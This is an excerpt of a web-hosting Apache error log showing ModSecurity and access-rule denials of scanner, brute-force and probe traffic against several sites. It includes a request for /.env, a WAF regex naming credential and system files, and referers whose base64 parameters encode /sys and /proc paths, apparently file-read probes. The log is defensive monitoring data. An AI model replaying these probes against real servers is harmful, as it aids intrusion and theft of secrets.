[line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xscTA7b1mZrmcA-8snwACI1Y"] [Sat Jun 13 18:11:29.061303 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.91:22486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:29.061755 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.91:22486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:29.388735 2026] [security2:error] [pid 531797:tid 532126] [client 114.119.136.14:65085] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "100schools.org"] [uri "/new-openings-shar-pin-primary-school-in-mandalay-october-2016"] [unique_id "ai3xscTA7b1mZrmcA-8srQAAApE"], referer: https://100schools.org/new-openings-yge-gwne-middle-school-august-26th-2016/ [Sat Jun 13 18:11:29.521166 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2svZGV2aWNl [Sat Jun 13 18:11:29.521635 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OnNjcm9sbGxvY2svZGV2aWNl [Sat Jun 13 18:11:29.525508 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.85:56704] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:29.525800 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.85:56704] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:29.679051 2026] [security2:error] [pid 531155:tid 531246] [remote 17.241.219.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xsSmiP80klyS0Nnr-mwABhVo"] [Sat Jun 13 18:11:29.713892 2026] [security2:error] [pid 531797:tid 532032] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/chunk_split_variation12.phpt"] [unique_id "ai3xscTA7b1mZrmcA-8suwAAAjc"] [Sat Jun 13 18:11:29.884063 2026] [core:error] [pid 531797:tid 532087] [client 66.249.73.3:35879] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:11:29.884094 2026] [core:error] [pid 531797:tid 532087] [client 66.249.73.3:35879] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:11:30.019102 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:11:30.019556 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:11:30.073916 2026] [security2:error] [pid 531155:tid 531160] [remote 17.22.253.242:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 242.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xsimiP80klyS0Nnr-pQABFAQ"] [Sat Jun 13 18:11:30.077029 2026] [security2:error] [pid 531155:tid 531220] [remote 149.28.167.253:55168] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.167.28.149.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "novapathfwf.com"] [uri "/wp-login.php"] [unique_id "ai3xsimiP80klyS0Nnr-pgABb0A"] [Sat Jun 13 18:11:30.099168 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.30:49348] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:30.099441 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.30:49348] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:30.295581 2026] [security2:error] [pid 531797:tid 531939] [remote 17.22.245.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xssTA7b1mZrmcA-8s0wACVUs"] [Sat Jun 13 18:11:30.395379 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.13:62691] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:30.395854 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.13:62691] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:30.504843 2026] [access_compat:error] [pid 531797:tid 531987] [remote 57.141.14.100:23733] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:30.505319 2026] [access_compat:error] [pid 531797:tid 531987] [remote 57.141.14.100:23733] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:30.564175 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDI= [Sat Jun 13 18:11:30.564443 2026] [access_compat:error] [pid 531155:tid 531274] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDI= [Sat Jun 13 18:11:30.810037 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.31:30178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:30.810315 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.31:30178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:30.962334 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.8:31179] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:30.962680 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.8:31179] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:31.001517 2026] [security2:error] [pid 531155:tid 531194] [remote 17.246.15.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xsimiP80klyS0Nnr-vAABViY"] [Sat Jun 13 18:11:31.123792 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:11:31.124213 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:11:31.269127 2026] [autoindex:error] [pid 531155:tid 531334] [client 143.244.57.82:46446] AH01276: Cannot serve directory /home2/wsglpcmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:11:31.415907 2026] [security2:error] [pid 531155:tid 531300] [client 143.244.57.82:46446] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ai3xsymiP80klyS0Nnr-ywAAARk"] [Sat Jun 13 18:11:31.572974 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.94:52790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:31.573255 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.94:52790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:31.683207 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:11:31.683486 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:11:31.794037 2026] [security2:error] [pid 531155:tid 531230] [remote 17.241.75.203:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 203.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xsymiP80klyS0Nnr-1gABREo"] [Sat Jun 13 18:11:31.979236 2026] [access_compat:error] [pid 531155:tid 531205] [remote 216.73.216.182:4582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:31.979684 2026] [access_compat:error] [pid 531155:tid 531205] [remote 216.73.216.182:4582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:31.994725 2026] [access_compat:error] [pid 531797:tid 531913] [remote 57.141.14.82:61490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:31.995013 2026] [access_compat:error] [pid 531797:tid 531913] [remote 57.141.14.82:61490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:32.015864 2026] [autoindex:error] [pid 531797:tid 532078] [client 143.244.57.82:46450] AH01276: Cannot serve directory /home2/wsglpcmy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:11:32.090164 2026] [security2:error] [pid 531797:tid 531984] [remote 17.241.75.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xtMTA7b1mZrmcA-8tFgACIHc"] [Sat Jun 13 18:11:32.161979 2026] [security2:error] [pid 531797:tid 532071] [client 143.244.57.82:46450] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "ai3xtMTA7b1mZrmcA-8tGQAAAl0"] [Sat Jun 13 18:11:32.173561 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9tb3VzZTAvZGV2aWNl [Sat Jun 13 18:11:32.173920 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9tb3VzZTAvZGV2aWNl [Sat Jun 13 18:11:32.177990 2026] [security2:error] [pid 531155:tid 531253] [remote 17.246.15.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xtCmiP80klyS0Nnr-3AABbWE"] [Sat Jun 13 18:11:32.255300 2026] [access_compat:error] [pid 531797:tid 531898] [remote 57.141.14.94:52798] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:32.255750 2026] [access_compat:error] [pid 531797:tid 531898] [remote 57.141.14.94:52798] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:32.424060 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.11:58985] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:32.424484 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.11:58985] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:32.478635 2026] [security2:error] [pid 531797:tid 532109] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/.env"] [unique_id "ai3xtMTA7b1mZrmcA-8tKAAAAoI"] [Sat Jun 13 18:11:32.593780 2026] [access_compat:error] [pid 531797:tid 531894] [remote 74.7.242.16:47660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:11:32.594246 2026] [access_compat:error] [pid 531797:tid 531894] [remote 74.7.242.16:47660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:11:32.708567 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.104:45336] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:32.709021 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.104:45336] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 